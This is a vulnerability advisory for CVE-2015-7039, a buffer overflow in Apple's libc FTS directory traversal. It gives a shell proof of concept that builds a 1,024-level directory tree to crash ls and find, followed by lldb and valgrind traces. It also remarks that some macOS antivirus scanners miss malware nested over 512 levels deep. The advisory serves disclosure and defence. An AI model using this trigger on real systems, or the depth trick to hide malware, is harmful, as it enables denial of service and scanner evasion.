MacOS/iPhone/Apple Watch/Apple TV libc File System Buffer Overflow 2015-10-23 / 2015-12-07 Credit: Maksymilian Arciemowicz Risk: High Local: Yes Remote: Yes CVE: CVE-2015-7039 CWE: CWE-119

CVSS Base Score: 6.8/10 Impact Subscore: 6.4/10 Exploitability Subscore: 8.6/10 Exploit range: Remote Attack complexity: Medium Authentication: No required Confidentiality impact: Partial Integrity impact: Partial Availability impact: Partial MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow Credit: Maksymilian Arciemowicz ( CXSECURITY ) Website: http://cxsecurity.com/ http://cert.cx/ Affected software: - MACOS's Commands such as: ls, find, rm - iPhone 4s and later, - Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes - Apple TV (4th generation) - probably more Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting. PoC: Create an direcotry and perform the following actions: # for i in {1..1024}; do mkdir B && cd B; done ... cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g. # for i in {1..1024}; do cd .. ; done Then you can perform recursive 'ls' command. Let's run it ten times: # for i in {1..10}; do ls -laR > /dev/null; done ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory Segmentation fault: 11 Segmentation fault: 11 Segmentation fault: 11 ls: B: No such file or directory ls: B: No such file or directory Segmentation fault: 11 ls: B: No such file or directory ls: B: No such file or directory crash randometly. Let's see valgrind and lldb LLDB: ... /B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/..../B/B: Process 987 stopped * thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 libsystem_c.dylib`strlen: -> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0 0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi 0x7fff97ab6d3a <+26>: andq $0xf, %rcx 0x7fff97ab6d3e <+30>: orq $-0x1, %rax (lldb) x/x $rdi error: memory read failed for 0xfeb66c00 (lldb) register read General Purpose Registers: rax = 0x00000000ffffffff rbx = 0x00000000ffffffff rcx = 0x00000000feb66c08 rdx = 0x00000000feb66c08 rdi = 0x00000000feb66c00 rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742 rbp = 0x00007fff5fbfe710 rsp = 0x00007fff5fbfe710 ... rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 ... (lldb) bt * thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) * frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713 frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669 frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596 frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80 frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128 frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564 frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421 frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300 frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1 === Time for Valgrind ============= B/B/B/B/B/../B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ==1009== Invalid write of size 1 ==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100001DAD: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== by 0x104809C8D: ??? ==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd ==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100001B92: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== by 0x104809C8D: ??? ==1009== ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: ==1009== Invalid read of size 1 ==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x1000024A7: ??? (in /bin/ls) ==1009== by 0x100001CFC: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd ==1009== ==1009== ==1009== Process terminating with default action of signal 11 (SIGSEGV) ==1009== Access not within mapped region at address 0x102D20318 ==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x1000024A7: ??? (in /bin/ls) ==1009== by 0x100001CFC: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== If you believe this happened as a result of a stack ==1009== overflow in your program's main thread (unlikely but ==1009== possible), you can try to increase the size of the ==1009== main thread stack using the --main-stacksize= flag. ==1009== The main thread stack size used in this run was 8388608. ==1009== ==1009== HEAP SUMMARY: ==1009== in use at exit: 1,671,999 bytes in 6,025 blocks ==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated ==1009== ==1009== LEAK SUMMARY: ==1009== definitely lost: 519 bytes in 6 blocks ==1009== indirectly lost: 104 bytes in 6 blocks ==1009== possibly lost: 0 bytes in 0 blocks ==1009== still reachable: 1,645,151 bytes in 5,819 blocks ==1009== suppressed: 26,225 bytes in 194 blocks ==1009== Rerun with --leak-check=full to see details of leaked memory ==1009== ==1009== For counts of detected and suppressed errors, rerun with: -v ==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) Segmentation fault: 11 MacMini:SCANME cxsecurity$ It looks like a buffer overflow in memmove(). Code http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c The same issue for 'find' which may be used in cron scripts like ./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print ./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print ./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days ./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1; Let's see valgrind output. MacMini:SCANME cxsecurity$ valgrind find . -name "R" ==1055== Memcheck, a memory error detector ==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==1055== Command: find . -name R ==1055== find: ./.Trashes: Permission denied ==1055== Invalid write of size 2 ==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1000013FA: ??? (in /usr/bin/find) ==1055== by 0x1000052AD: ??? (in /usr/bin/find) ==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) ==1055== by 0x3: ??? ==1055== by 0x10480CC7F: ??? ==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd ==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1000013FA: ??? (in /usr/bin/find) ==1055== by 0x1000052AD: ??? (in /usr/bin/find) ==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) ==1055== by 0x3: ??? ==1055== by 0x10480CC7F: ??? ... Invalid memory write without crashing. BTW: Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc. ====== References =================================== https://cxsecurity.com/issue/WLB-2014040027 https://cxsecurity.com/cveshow/CVE-2014-4433/ https://cxsecurity.com/cveshow/CVE-2014-4434/ https://cxsecurity.com/issue/WLB-2013110059 https://cxsecurity.com/cveshow/CVE-2013-6799/ https://cxsecurity.com/issue/WLB-2010040284 https://cxsecurity.com/cveshow/CVE-2010-0105/ https://cxsecurity.com/issue/WLB-2005090063 ====== Thanks =================================== Kacper and Smash_ from DEVILTEAM for technical support. ====== Credit =================================== Maksymilian Arciemowicz from cxsecurity.com http://cxsecurity.com/ http://cert.cx/ http://cifrex.org/ References: https://cxsecurity.com/issue/WLB-2014040027 https://cxsecurity.com/cveshow/CVE-2014-4433/ https://cxsecurity.com/cveshow/CVE-2014-4434/ https://cxsecurity.com/issue/WLB-2013110059 https://cxsecurity.com/cveshow/CVE-2013-6799/ https://cxsecurity.com/issue/WLB-2010040284 https://cxsecurity.com/cveshow/CVE-2010-0105/ https://cxsecurity.com/issue/WLB-2005090063



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